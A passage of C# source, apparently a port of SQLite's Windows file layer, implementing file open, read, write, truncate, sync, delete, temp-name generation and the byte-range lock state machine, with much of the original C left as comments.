pFile.local.bExclusive = FALSE; pFile.shared.bExclusive = FALSE; bReturn = TRUE; } /* Did we just have a reader lock? */ else if (pFile.local.nReaders){ pFile.local.nReaders --; if (pFile.local.nReaders == 0) { pFile.shared.nReaders --; } bReturn = TRUE; } } /* Releasing a pending lock */ else if (dwFileOffsetLow == PENDING_BYTE && nNumberOfBytesToUnlockLow == 1){ if (pFile.local.bPending){ pFile.local.bPending = FALSE; pFile.shared.bPending = FALSE; bReturn = TRUE; } } /* Releasing a reserved lock */ else if (dwFileOffsetLow == RESERVED_BYTE && nNumberOfBytesToUnlockLow == 1){ if (pFile.local.bReserved) { pFile.local.bReserved = FALSE; pFile.shared.bReserved = FALSE; bReturn = TRUE; } } winceMutexRelease(pFile.hMutex); return bReturn; } /* ** An implementation of the LockFileEx() API of windows for wince */ static BOOL winceLockFileEx( HANDLE phFile, DWORD dwFlags, DWORD dwReserved, DWORD nNumberOfBytesToLockLow, DWORD nNumberOfBytesToLockHigh, LPOVERLAPPED lpOverlapped ){ /* If the caller wants a shared read lock, forward this call ** to winceLockFile */ if (lpOverlapped.Offset == SHARED_FIRST && dwFlags == 1 && nNumberOfBytesToLockLow == SHARED_SIZE){ return winceLockFile(phFile, SHARED_FIRST, 0, 1, 0); } return FALSE; } /* ** End of the special code for wince *****************************************************************************/ #endif // * SQLITE_OS_WINCE */ /***************************************************************************** ** The next group of routines implement the I/O methods specified ** by the sqlite3_io_methods object. ******************************************************************************/ /* ** Close a file. ** ** It is reported that an attempt to close a handle might sometimes ** fail. This is a very unreasonable result, but windows is notorious ** for being unreasonable so I do not doubt that it might happen. If ** the close fails, we pause for 100 milliseconds and try again. As ** many as MX_CLOSE_ATTEMPT attempts to close the handle are made before ** giving up and returning an error. */ public static int MX_CLOSE_ATTEMPT = 3; static int winClose( sqlite3_file id ) { bool rc; int cnt = 0; sqlite3_file pFile = (sqlite3_file)id; Debug.Assert( id != null ); #if SQLITE_DEBUG OSTRACE3( "CLOSE %d (%s)\n", pFile.fs.GetHashCode(), pFile.fs.Name ); #endif do { pFile.fs.Close(); rc = true; // rc = CloseHandle(pFile.h); // if (!rc && ++cnt < MX_CLOSE_ATTEMPT) Thread.Sleep(100); //, 1) ); } while ( !rc && ++cnt < MX_CLOSE_ATTEMPT ); //, 1) ); #if SQLITE_OS_WINCE //#define WINCE_DELETION_ATTEMPTS 3 winceDestroyLock(pFile); if( pFile.zDeleteOnClose ){ int cnt = 0; while( DeleteFileW(pFile.zDeleteOnClose)==0 && GetFileAttributesW(pFile.zDeleteOnClose)!=0xffffffff && cnt++ < WINCE_DELETION_ATTEMPTS ){ Sleep(100); /* Wait a little before trying again */ } free(pFile.zDeleteOnClose); } #endif #if SQLITE_TEST OpenCounter( -1 ); #endif return rc ? SQLITE_OK : SQLITE_IOERR; } /* ** Some microsoft compilers lack this definition. */ #if !INVALID_SET_FILE_POINTER const int INVALID_SET_FILE_POINTER = -1; #endif /* ** Read data from a file into a buffer. Return SQLITE_OK if all ** bytes were read successfully and SQLITE_IOERR if anything goes ** wrong. */ static int winRead( sqlite3_file id, /* File to read from */ byte[] pBuf, /* Write content into this buffer */ int amt, /* Number of bytes to read */ sqlite3_int64 offset /* Begin reading at this offset */ ) { //LONG upperBits = (LONG)( ( offset >> 32 ) & 0x7fffffff ); //LONG lowerBits = (LONG)( offset & 0xffffffff ); long rc; sqlite3_file pFile = id; //DWORD error; long got; Debug.Assert( id != null ); #if SQLITE_TEST //SimulateIOError(return SQLITE_IOERR_READ); TODO -- How to implement this? #endif #if SQLITE_DEBUG OSTRACE3( "READ %d lock=%d\n", pFile.fs.GetHashCode(), pFile.locktype ); #endif if ( !id.fs.CanRead ) return SQLITE_IOERR_READ; try { rc = id.fs.Seek( offset, SeekOrigin.Begin ); // SetFilePointer(pFile.fs.Name, lowerBits, upperBits, FILE_BEGIN); } catch ( Exception e ) // if( rc==INVALID_SET_FILE_POINTER && (error=GetLastError())!=NO_ERROR ) { pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); return SQLITE_FULL; } try { got = id.fs.Read( pBuf, 0, amt ); // if (!ReadFile(pFile.fs.Name, pBuf, amt, got, 0)) } catch ( Exception e ) { pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); return SQLITE_IOERR_READ; } if ( got == amt ) { return SQLITE_OK; } else { /* Unread parts of the buffer must be zero-filled */ Array.Clear( pBuf, (int)got, (int)( amt - got ) ); // memset(&((char*)pBuf)[got], 0, amt - got); return SQLITE_IOERR_SHORT_READ; } } /* ** Write data from a buffer into a file. Return SQLITE_OK on success ** or some other error code on failure. */ static int winWrite( sqlite3_file id, /* File to write into */ byte[] pBuf, /* The bytes to be written */ int amt, /* Number of bytes to write */ sqlite3_int64 offset /* Offset into the file to begin writing at */ ) { //LONG upperBits = (LONG)( ( offset >> 32 ) & 0x7fffffff ); //LONG lowerBits = (LONG)( offset & 0xffffffff ); int rc; // sqlite3_file pFile = (sqlite3_file*)id; // DWORD error; long wrote = 0; Debug.Assert( id != null ); #if SQLITE_TEST if ( SimulateIOError() ) return SQLITE_IOERR_WRITE; if ( SimulateDiskfullError() ) return SQLITE_FULL; #endif #if SQLITE_DEBUG OSTRACE3( "WRITE %d lock=%d\n", id.fs.GetHashCode(), id.locktype ); #endif // rc = SetFilePointer(pFile.fs.Name, lowerBits, upperBits, FILE_BEGIN); id.fs.Seek( offset, SeekOrigin.Begin ); // if( rc==INVALID_SET_FILE_POINTER && GetLastError()!=NO_ERROR ){ // pFile.lastErrno = (u32)GetLastError(); // return SQLITE_FULL; // } Debug.Assert( amt > 0 ); wrote = id.fs.Position; try { Debug.Assert( pBuf.Length >= amt ); id.fs.Write( pBuf, 0, amt ); rc = 1;// Success wrote = id.fs.Position - wrote; } catch ( IOException e ) { return SQLITE_READONLY; } // while( // amt>0 // && (rc = WriteFile(pFile.fs.Name, pBuf, amt, wrote, 0))!=0 // && wrote>0 // ){ // amt -= wrote; // pBuf = &((char*)pBuf)[wrote]; // } if ( rc == 0 || amt > (int)wrote ) { id.lastErrno = (u32)Marshal.GetLastWin32Error(); return SQLITE_FULL; } return SQLITE_OK; } /* ** Truncate an open file to a specified size */ static int winTruncate( sqlite3_file id, sqlite3_int64 nByte ) { //LONG upperBits = (LONG)( ( nByte >> 32 ) & 0x7fffffff ); //LONG lowerBits = (LONG)( nByte & 0xffffffff ); //DWORD rc; //winFile* pFile = (winFile*)id; //DWORD error; Debug.Assert( id != null ); #if SQLITE_DEBUG OSTRACE3( "TRUNCATE %d %lld\n", id.fs.Name, nByte ); #endif #if SQLITE_TEST //SimulateIOError(return SQLITE_IOERR_TRUNCATE); TODO -- How to implement this? #endif //rc = SetFilePointer( pFile->h, lowerBits, &upperBits, FILE_BEGIN ); //if ( rc == INVALID_SET_FILE_POINTER && ( error = GetLastError() ) != NO_ERROR ) //{ // pFile->lastErrno = error; // return SQLITE_IOERR_TRUNCATE; //} ///* SetEndOfFile will fail if nByte is negative */ //if ( !SetEndOfFile( pFile->h ) ) //{ // pFile->lastErrno = GetLastError(); // return SQLITE_IOERR_TRUNCATE; //} try { id.fs.SetLength( nByte ); } catch ( IOException e ) { id.lastErrno = (u32)Marshal.GetLastWin32Error(); return SQLITE_IOERR_TRUNCATE; } return SQLITE_OK; } #if SQLITE_TEST /* ** Count the number of fullsyncs and normal syncs. This is used to test ** that syncs and fullsyncs are occuring at the right times. */ static int sqlite3_sync_count = 0; static int sqlite3_fullsync_count = 0; #endif /* ** Make sure all writes to a particular file are committed to disk. */ static int winSync( sqlite3_file id, int flags ) { #if !SQLITE_NO_SYNC sqlite3_file pFile = (sqlite3_file)id; Debug.Assert( id != null ); #if SQLITE_DEBUG OSTRACE3( "SYNC %d lock=%d\n", pFile.fs.GetHashCode(), pFile.locktype ); #endif #else UNUSED_PARAMETER(id); #endif #if !SQLITE_TEST UNUSED_PARAMETER(flags); #else if ( ( flags & SQLITE_SYNC_FULL ) != 0 ) { sqlite3_fullsync_count++; } sqlite3_sync_count++; #endif /* If we compiled with the SQLITE_NO_SYNC flag, then syncing is a ** no-op */ #if SQLITE_NO_SYNC return SQLITE_OK; #else pFile.fs.Flush(); return SQLITE_OK; //if (FlushFileBuffers(pFile.h) != 0) //{ // return SQLITE_OK; //} //else //{ // pFile->lastErrno = (u32)GetLastError(); // return SQLITE_IOERR; //} #endif } /* ** Determine the current size of a file in bytes */ static int sqlite3_fileSize( sqlite3_file id, ref int pSize ) { //DWORD upperBits; //DWORD lowerBits; // sqlite3_file pFile = (sqlite3_file)id; // DWORD error; Debug.Assert( id != null ); #if SQLITE_TEST //SimulateIOError(return SQLITE_IOERR_FSTAT); TODO -- How to implement this? #endif //lowerBits = GetFileSize(pFile.fs.Name, upperBits); //if ( ( lowerBits == INVALID_FILE_SIZE ) // && ( ( error = GetLastError() ) != NO_ERROR ) ) //{ // pFile->lastErrno = error; // return SQLITE_IOERR_FSTAT; //} //pSize = (((sqlite3_int64)upperBits)<<32) + lowerBits; pSize = id.fs.CanRead ? (int)id.fs.Length : 0; return SQLITE_OK; } /* ** Acquire a reader lock. ** Different API routines are called depending on whether or not this ** is Win95 or WinNT. */ static int getReadLock( sqlite3_file pFile ) { int res = 0; if ( isNT() ) { res = lockingStrategy.SharedLockFile( pFile, SHARED_FIRST, SHARED_SIZE ); } /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. */ #if !SQLITE_OS_WINCE //else //{ // int lk; // sqlite3_randomness(lk.Length, lk); // pFile->sharedLockByte = (u16)((lk & 0x7fffffff)%(SHARED_SIZE - 1)); // res = pFile.fs.Lock( SHARED_FIRST + pFile.sharedLockByte, 0, 1, 0); #endif //} if ( res == 0 ) { pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); } return res; } /* ** Undo a readlock */ static int unlockReadLock( sqlite3_file pFile ) { int res = 1; if ( isNT() ) { try { lockingStrategy.UnlockFile( pFile, SHARED_FIRST, SHARED_SIZE ); // res = UnlockFile(pFilE.h, SHARED_FIRST, 0, SHARED_SIZE, 0); } catch ( Exception e ) { res = 0; } } /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. */ #if !SQLITE_OS_WINCE else { Debugger.Break(); // res = UnlockFile(pFilE.h, SHARED_FIRST + pFilE.sharedLockByte, 0, 1, 0); } #endif if ( res == 0 ) { pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); } return res; } /* ** Lock the file with the lock specified by parameter locktype - one ** of the following: ** ** (1) SHARED_LOCK ** (2) RESERVED_LOCK ** (3) PENDING_LOCK ** (4) EXCLUSIVE_LOCK ** ** Sometimes when requesting one lock state, additional lock states ** are inserted in between. The locking might fail on one of the later ** transitions leaving the lock state different from what it started but ** still short of its goal. The following chart shows the allowed ** transitions and the inserted intermediate states: ** ** UNLOCKED -> SHARED ** SHARED -> RESERVED ** SHARED -> (PENDING) -> EXCLUSIVE ** RESERVED -> (PENDING) -> EXCLUSIVE ** PENDING -> EXCLUSIVE ** ** This routine will only increase a lock. The winUnlock() routine ** erases all locks at once and returns us immediately to locking level 0. ** It is not possible to lower the locking level one step at a time. You ** must go straight to locking level 0. */ static int winLock( sqlite3_file id, int locktype ) { int rc = SQLITE_OK; /* Return code from subroutines */ int res = 1; /* Result of a windows lock call */ int newLocktype; /* Set pFile.locktype to this value before exiting */ bool gotPendingLock = false;/* True if we acquired a PENDING lock this time */ sqlite3_file pFile = (sqlite3_file)id; DWORD error = NO_ERROR; Debug.Assert( id != null ); #if SQLITE_DEBUG OSTRACE5( "LOCK %d %d was %d(%d)\n", pFile.fs.GetHashCode(), locktype, pFile.locktype, pFile.sharedLockByte ); #endif /* If there is already a lock of this type or more restrictive on the ** OsFile, do nothing. Don't use the end_lock: exit path, as ** sqlite3OsEnterMutex() hasn't been called yet. */ if ( pFile.locktype >= locktype ) { return SQLITE_OK; } /* Make sure the locking sequence is correct */ Debug.Assert( pFile.locktype != NO_LOCK || locktype == SHARED_LOCK ); Debug.Assert( locktype != PENDING_LOCK ); Debug.Assert( locktype != RESERVED_LOCK || pFile.locktype == SHARED_LOCK ); /* Lock the PENDING_LOCK byte if we need to acquire a PENDING lock or ** a SHARED lock. If we are acquiring a SHARED lock, the acquisition of ** the PENDING_LOCK byte is temporary. */ newLocktype = pFile.locktype; if ( pFile.locktype == NO_LOCK || ( ( locktype == EXCLUSIVE_LOCK ) && ( pFile.locktype == RESERVED_LOCK ) ) ) { int cnt = 3; res = 0; while ( cnt-- > 0 && res == 0 )//(res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), PENDING_BYTE, 0, 1, 0)) == 0) { try { lockingStrategy.LockFile( pFile, PENDING_BYTE, 1 ); res = 1; } catch ( Exception e ) { /* Try 3 times to get the pending lock. The pending lock might be ** held by another reader process who will release it momentarily. */ #if SQLITE_DEBUG OSTRACE2( "could not get a PENDING lock. cnt=%d\n", cnt ); #endif Thread.Sleep( 1 ); } } gotPendingLock = ( res != 0 ); if ( 0 == res ) { error = (u32)Marshal.GetLastWin32Error(); } } /* Acquire a shared lock */ if ( locktype == SHARED_LOCK && res != 0 ) { Debug.Assert( pFile.locktype == NO_LOCK ); res = getReadLock( pFile ); if ( res != 0 ) { newLocktype = SHARED_LOCK; } else { error = (u32)Marshal.GetLastWin32Error(); } } /* Acquire a RESERVED lock */ if ( ( locktype == RESERVED_LOCK ) && res != 0 ) { Debug.Assert( pFile.locktype == SHARED_LOCK ); try { lockingStrategy.LockFile( pFile, RESERVED_BYTE, 1 );//res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), RESERVED_BYTE, 0, 1, 0); newLocktype = RESERVED_LOCK; res = 1; } catch ( Exception e ) { res = 0; error = (u32)Marshal.GetLastWin32Error(); } if ( res != 0 ) { newLocktype = RESERVED_LOCK; } else { error = (u32)Marshal.GetLastWin32Error(); } } /* Acquire a PENDING lock */ if ( locktype == EXCLUSIVE_LOCK && res != 0 ) { newLocktype = PENDING_LOCK; gotPendingLock = false; } /* Acquire an EXCLUSIVE lock */ if ( locktype == EXCLUSIVE_LOCK && res != 0 ) { Debug.Assert( pFile.locktype >= SHARED_LOCK ); res = unlockReadLock( pFile ); #if SQLITE_DEBUG OSTRACE2( "unreadlock = %d\n", res ); #endif //res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), SHARED_FIRST, 0, SHARED_SIZE, 0); try { lockingStrategy.LockFile( pFile, SHARED_FIRST, SHARED_SIZE ); newLocktype = EXCLUSIVE_LOCK; res = 1; } catch ( Exception e ) { res = 0; } if ( res != 0 ) { newLocktype = EXCLUSIVE_LOCK; } else { error = (u32)Marshal.GetLastWin32Error(); #if SQLITE_DEBUG OSTRACE2( "error-code = %d\n", error ); #endif getReadLock( pFile ); } } /* If we are holding a PENDING lock that ought to be released, then ** release it now. */ if ( gotPendingLock && locktype == SHARED_LOCK ) { lockingStrategy.UnlockFile( pFile, PENDING_BYTE, 1 ); } /* Update the state of the lock has held in the file descriptor then ** return the appropriate result code. */ if ( res != 0 ) { rc = SQLITE_OK; } else { #if SQLITE_DEBUG OSTRACE4( "LOCK FAILED %d trying for %d but got %d\n", pFile.fs.GetHashCode(), locktype, newLocktype ); #endif pFile.lastErrno = error; rc = SQLITE_BUSY; } pFile.locktype = (u8)newLocktype; return rc; } /* ** This routine checks if there is a RESERVED lock held on the specified ** file by this or any other process. If such a lock is held, return ** non-zero, otherwise zero. */ static int winCheckReservedLock( sqlite3_file id, ref int pResOut ) { int rc; sqlite3_file pFile = (sqlite3_file)id; Debug.Assert( id != null ); if ( pFile.locktype >= RESERVED_LOCK ) { rc = 1; #if SQLITE_DEBUG OSTRACE3( "TEST WR-LOCK %d %d (local)\n", pFile.fs.Name, rc ); #endif } else { try { lockingStrategy.LockFile( pFile, RESERVED_BYTE, 1 ); lockingStrategy.UnlockFile( pFile, RESERVED_BYTE, 1 ); rc = 1; } catch ( IOException e ) { rc = 0; } rc = 1 - rc; // !rc #if SQLITE_DEBUG OSTRACE3( "TEST WR-LOCK %d %d (remote)\n", pFile.fs.GetHashCode(), rc ); #endif } pResOut = rc; return SQLITE_OK; } /* ** Lower the locking level on file descriptor id to locktype. locktype ** must be either NO_LOCK or SHARED_LOCK. ** ** If the locking level of the file descriptor is already at or below ** the requested locking level, this routine is a no-op. ** ** It is not possible for this routine to fail if the second argument ** is NO_LOCK. If the second argument is SHARED_LOCK then this routine ** might return SQLITE_IOERR; */ static int winUnlock( sqlite3_file id, int locktype ) { int type; sqlite3_file pFile = (sqlite3_file)id; int rc = SQLITE_OK; Debug.Assert( pFile != null ); Debug.Assert( locktype <= SHARED_LOCK ); #if SQLITE_DEBUG OSTRACE5( "UNLOCK %d to %d was %d(%d)\n", pFile.fs.GetHashCode(), locktype, pFile.locktype, pFile.sharedLockByte ); #endif type = pFile.locktype; if ( type >= EXCLUSIVE_LOCK ) { lockingStrategy.UnlockFile( pFile, SHARED_FIRST, SHARED_SIZE ); // UnlockFile(pFilE.h, SHARED_FIRST, 0, SHARED_SIZE, 0); if ( locktype == SHARED_LOCK && getReadLock( pFile ) == 0 ) { /* This should never happen. We should always be able to ** reacquire the read lock */ rc = SQLITE_IOERR_UNLOCK; } } if ( type >= RESERVED_LOCK ) { try { lockingStrategy.UnlockFile( pFile, RESERVED_BYTE, 1 );// UnlockFile(pFilE.h, RESERVED_BYTE, 0, 1, 0); } catch ( Exception e ) { } } if ( locktype == NO_LOCK && type >= SHARED_LOCK ) { unlockReadLock( pFile ); } if ( type >= PENDING_LOCK ) { try { lockingStrategy.UnlockFile( pFile, PENDING_BYTE, 1 );// UnlockFile(pFilE.h, PENDING_BYTE, 0, 1, 0); } catch ( Exception e ) { } } pFile.locktype = (u8)locktype; return rc; } /* ** Control and query of the open file handle. */ static int winFileControl( sqlite3_file id, int op, ref int pArg ) { switch ( op ) { case SQLITE_FCNTL_LOCKSTATE: { pArg = ( (sqlite3_file)id ).locktype; return SQLITE_OK; } case SQLITE_LAST_ERRNO: { pArg = (int)( (sqlite3_file)id ).lastErrno; return SQLITE_OK; } } return SQLITE_ERROR; } /* ** Return the sector size in bytes of the underlying block device for ** the specified file. This is almost always 512 bytes, but may be ** larger for some devices. ** ** SQLite code assumes this function cannot fail. It also assumes that ** if two files are created in the same file-system directory (i.e. ** a database and its journal file) that the sector size will be the ** same for both. */ static int winSectorSize( sqlite3_file id ) { Debug.Assert( id != null ); return (int)( id.sectorSize ); } /* ** Return a vector of device characteristics. */ static int winDeviceCharacteristics( sqlite3_file id ) { UNUSED_PARAMETER( id ); return 0; } /* ** This vector defines all the methods that can operate on an ** sqlite3_file for win32. */ static sqlite3_io_methods winIoMethod = new sqlite3_io_methods( 1, /* iVersion */ (dxClose)winClose, (dxRead)winRead, (dxWrite)winWrite, (dxTruncate)winTruncate, (dxSync)winSync, (dxFileSize)sqlite3_fileSize, (dxLock)winLock, (dxUnlock)winUnlock, (dxCheckReservedLock)winCheckReservedLock, (dxFileControl)winFileControl, (dxSectorSize)winSectorSize, (dxDeviceCharacteristics)winDeviceCharacteristics ); /*************************************************************************** ** Here ends the I/O methods that form the sqlite3_io_methods object. ** ** The next block of code implements the VFS methods. ****************************************************************************/ /* ** Convert a UTF-8 filename into whatever form the underlying ** operating system wants filenames in. Space to hold the result ** is obtained from malloc and must be freed by the calling ** function. */ static string convertUtf8Filename( string zFilename ) { return zFilename; // string zConverted = ""; //if (isNT()) //{ // zConverted = utf8ToUnicode(zFilename); /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. */ #if !SQLITE_OS_WINCE //} //else //{ // zConverted = utf8ToMbcs(zFilename); #endif //} /* caller will handle out of memory */ //return zConverted; } /* ** Create a temporary file name in zBuf. zBuf must be big enough to ** hold at pVfs.mxPathname characters. */ static int getTempname( int nBuf, StringBuilder zBuf ) { const string zChars = "abcdefghijklmnopqrstuvwxyz0123456789"; //static char zChars[] = // "abcdefghijklmnopqrstuvwxyz" // "ABCDEFGHIJKLMNOPQRSTUVWXYZ" // "0123456789"; //size_t i, j; //char zTempPath[MAX_PATH+1]; //if( sqlite3_temp_directory ){ // sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", sqlite3_temp_directory); //}else if( isNT() ){ // char *zMulti; // WCHAR zWidePath[MAX_PATH]; // GetTempPathW(MAX_PATH-30, zWidePath); // zMulti = unicodeToUtf8(zWidePath); // if( zMulti ){ // sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", zMulti); // free(zMulti); // }else{ // return SQLITE_NOMEM; // } /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. ** Since the ASCII version of these Windows API do not exist for WINCE, ** it's important to not reference them for WINCE builds. */ #if !SQLITE_OS_WINCE //}else{ // char *zUtf8; // char zMbcsPath[MAX_PATH]; // GetTempPathA(MAX_PATH-30, zMbcsPath); // zUtf8 = sqlite3_win32_mbcs_to_utf8(zMbcsPath); // if( zUtf8 ){ // sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", zUtf8); // free(zUtf8); // }else{ // return SQLITE_NOMEM; // } #endif //} StringBuilder zRandom = new StringBuilder( 20 ); i64 iRandom = 0; for ( int i = 0 ; i < 20 ; i++ ) { sqlite3_randomness( 1, ref iRandom ); zRandom.Append( (char)zChars[(int)( iRandom % ( zChars.Length - 1 ) )] ); } // zBuf[j] = 0; zBuf.Append( Path.GetTempPath() + SQLITE_TEMP_FILE_PREFIX + zRandom.ToString() ); //for(i=sqlite3Strlen30(zTempPath); i>0 && zTempPath[i-1]=='\\'; i--){} //zTempPath[i] = 0; //sqlite3_snprintf(nBuf-30, zBuf, // "%s\\"SQLITE_TEMP_FILE_PREFIX, zTempPath); //j = sqlite3Strlen30(zBuf); //sqlite3_randomness(20, zBuf[j]); //for(i=0; i<20; i++, j++){ // zBuf[j] = (char)zChars[ ((unsigned char)zBuf[j])%(sizeof(zChars)-1) ]; //} //zBuf[j] = 0; #if SQLITE_DEBUG OSTRACE2( "TEMP FILENAME: %s\n", zBuf.ToString() ); #endif return SQLITE_OK; } /* ** The return value of getLastErrorMsg ** is zero if the error message fits in the buffer, or non-zero ** otherwise (if the message was truncated). */ static int getLastErrorMsg( int nBuf, ref string zBuf ) { //int error = GetLastError (); #if SQLITE_OS_WINCE sqlite3_snprintf(nBuf, zBuf, "OsError 0x%x (%u)", error, error); #else /* FormatMessage returns 0 on failure. Otherwise it ** returns the number of TCHARs written to the output ** buffer, excluding the terminating null char. */ //int iDummy = 0; //object oDummy = null; //if ( 00 == FormatMessageA( FORMAT_MESSAGE_FROM_SYSTEM, //ref oDummy, //error, //0, //zBuf, //nBuf - 1, //ref iDummy ) ) //{ // sqlite3_snprintf( nBuf, ref zBuf, "OsError 0x%x (%u)", error, error ); //} #endif zBuf = new Win32Exception( Marshal.GetLastWin32Error() ).Message; return 0; } /* ** Open a file. */ static int winOpen( sqlite3_vfs pVfs, /* Not used */ string zName, /* Name of the file (UTF-8) */ sqlite3_file pFile, /* Write the SQLite file handle here */ int flags, /* Open mode flags */ ref int pOutFlags /* Status return flags */ ) { //HANDLE h; FileStream fs = null; FileAccess dwDesiredAccess; FileShare dwShareMode; FileMode dwCreationDisposition; FileOptions dwFlagsAndAttributes; #if SQLITE_OS_WINCE int isTemp = 0; #endif //winFile* pFile = (winFile*)id; string zConverted; /* Filename in OS encoding */ string zUtf8Name = zName; /* Filename in UTF-8 encoding */ StringBuilder zTmpname = new StringBuilder( MAX_PATH + 1 ); /* Buffer used to create temp filename */ Debug.Assert( pFile != null ); UNUSED_PARAMETER( pVfs ); /* If the second argument to this function is NULL, generate a ** temporary file name to use */ if ( String.IsNullOrEmpty( zUtf8Name ) ) { int rc = getTempname( MAX_PATH + 1, zTmpname ); if ( rc != SQLITE_OK ) { return rc; } zUtf8Name = zTmpname.ToString(); } // /* Convert the filename to the system encoding. */ zConverted = zUtf8Name;// convertUtf8Filename( zUtf8Name ); if ( String.IsNullOrEmpty( zConverted ) ) { return SQLITE_NOMEM; } if ( ( flags & SQLITE_OPEN_READWRITE ) != 0 ) { dwDesiredAccess = FileAccess.Read | FileAccess.Write; // GENERIC_READ | GENERIC_WRITE; } else { dwDesiredAccess = FileAccess.Read; // GENERIC_READ; } /* SQLITE_OPEN_EXCLUSIVE is used to make sure that a new file is ** created. SQLite doesn't use it to indicate "exclusive access" ** as it is usually understood. */ Debug.Assert( 0 == ( flags & SQLITE_OPEN_EXCLUSIVE ) || ( flags & SQLITE_OPEN_CREATE ) != 0 ); if ( ( flags & SQLITE_OPEN_EXCLUSIVE ) != 0 ) { /* Creates a new file, only if it does not already exist. */ /* If the file exists, it fails. */ dwCreationDisposition = FileMode.CreateNew;// CREATE_NEW; } else if ( ( flags & SQLITE_OPEN_CREATE ) != 0 ) { /* Open existing file, or create if it doesn't exist */ dwCreationDisposition = FileMode.OpenOrCreate;// OPEN_ALWAYS; } else { /* Opens a file, only if it exists. */ dwCreationDisposition = FileMode.Open;//OPEN_EXISTING; } dwShareMode = FileShare.Read | FileShare.Write;// FILE_SHARE_READ | FILE_SHARE_WRITE; if ( ( flags & SQLITE_OPEN_DELETEONCLOSE ) != 0 ) { #if SQLITE_OS_WINCE dwFlagsAndAttributes = FILE_ATTRIBUTE_HIDDEN; isTemp = 1; #else dwFlagsAndAttributes = FileOptions.DeleteOnClose; // FILE_ATTRIBUTE_TEMPORARY //| FILE_ATTRIBUTE_HIDDEN //| FILE_FLAG_DELETE_ON_CLOSE; #endif } else { dwFlagsAndAttributes = FileOptions.None; // FILE_ATTRIBUTE_NORMAL; } /* Reports from the internet are that performance is always ** better if FILE_FLAG_RANDOM_ACCESS is used. Ticket #2699. */ #if SQLITE_OS_WINCE dwFlagsAndAttributes |= FileOptions.RandomAccess; // FILE_FLAG_RANDOM_ACCESS; #endif if ( isNT() ) { //h = CreateFileW((WCHAR*)zConverted, // dwDesiredAccess, // dwShareMode, // NULL, // dwCreationDisposition, // dwFlagsAndAttributes, // NULL //); // // retry opening the file a few times; this is because of a racing condition between a delete and open call to the FS // int retries = 3; while ( ( fs == null ) && ( retries > 0 ) ) try { retries--; fs = new FileStream( zConverted, dwCreationDisposition, dwDesiredAccess, dwShareMode, 1024, dwFlagsAndAttributes ); #if SQLITE_DEBUG OSTRACE3( "OPEN %d (%s)\n", fs.GetHashCode(), fs.Name ); #endif } catch ( Exception e ) { Thread.Sleep( 100 ); } /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. ** Since the ASCII version of these Windows API do not exist for WINCE, ** it's important to not reference them for WINCE builds. */ #if !SQLITE_OS_WINCE } else { Debugger.Break(); // Not NT //h = CreateFileA((char*)zConverted, // dwDesiredAccess, // dwShareMode, // NULL, // dwCreationDisposition, // dwFlagsAndAttributes, // NULL //); #endif } if ( fs == null || fs.SafeFileHandle.IsInvalid ) //(h == INVALID_HANDLE_VALUE) { // free(zConverted); if ( ( flags & SQLITE_OPEN_READWRITE ) != 0 ) { return winOpen( pVfs, zName, pFile, ( ( flags | SQLITE_OPEN_READONLY ) & ~SQLITE_OPEN_READWRITE ), ref pOutFlags ); } else { return SQLITE_CANTOPEN; } } //if ( pOutFlags ) //{ if ( ( flags & SQLITE_OPEN_READWRITE ) != 0 ) { pOutFlags = SQLITE_OPEN_READWRITE; } else { pOutFlags = SQLITE_OPEN_READONLY; } //} pFile.Clear(); // memset(pFile, 0, sizeof(*pFile)); pFile.pMethods = winIoMethod; pFile.fs = fs; pFile.lastErrno = NO_ERROR; pFile.sectorSize = (ulong)getSectorSize( pVfs, zUtf8Name ); #if SQLITE_OS_WINCE if( (flags & (SQLITE_OPEN_READWRITE|SQLITE_OPEN_MAIN_DB)) == (SQLITE_OPEN_READWRITE|SQLITE_OPEN_MAIN_DB) && !winceCreateLock(zName, pFile) ){ CloseHandle(h); free(zConverted); return SQLITE_CANTOPEN; } if( isTemp ){ pFile.zDeleteOnClose = zConverted; }else #endif { // free(zConverted); } #if SQLITE_TEST OpenCounter( +1 ); #endif return SQLITE_OK; } /* ** Delete the named file. ** ** Note that windows does not allow a file to be deleted if some other ** process has it open. Sometimes a virus scanner or indexing program ** will open a journal file shortly after it is created in order to do ** whatever it does. While this other process is holding the ** file open, we will be unable to delete it. To work around this ** problem, we delay 100 milliseconds and try to delete again. Up ** to MX_DELETION_ATTEMPTs deletion attempts are run before giving ** up and returning an error. */ static int MX_DELETION_ATTEMPTS = 5; static int winDelete( sqlite3_vfs pVfs, /* Not used on win32 */ string zFilename, /* Name of file to delete */ int syncDir /* Not used on win32 */ ) { int cnt = 0; int rc; int error; UNUSED_PARAMETER( pVfs ); UNUSED_PARAMETER( syncDir ); string zConverted = convertUtf8Filename( zFilename ); if ( zConverted == null || zConverted == "" ) { return SQLITE_NOMEM; } #if SQLITE_TEST //SimulateIOError(return SQLITE_IOERR_DELETE); TODO -- How to implement this? #endif if ( isNT() ) { do // DeleteFileW(zConverted); //}while( ( ((rc = GetFileAttributesW(zConverted)) != INVALID_FILE_ATTRIBUTES) // || ((error = GetLastError()) == ERROR_ACCESS_DENIED)) // && (++cnt < MX_DELETION_ATTEMPTS) // && (Sleep(100), 1) ); { if ( !File.Exists( zFilename ) ) { rc = SQLITE_IOERR; break; } try { File.Delete( zConverted ); rc = SQLITE_OK; } catch ( IOException e ) { rc = SQLITE_IOERR; Thread.Sleep( 100 ); } } while ( rc != SQLITE_OK && ++cnt < MX_DELETION_ATTEMPTS ); /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. ** Since the ASCII version of these Windows API do not exist for WINCE, ** it's important to not reference them for WINCE builds. */ #if !SQLITE_OS_WINCE } else { do { //DeleteFileA( zConverted ); //}while( ( ((rc = GetFileAttributesA(zConverted)) != 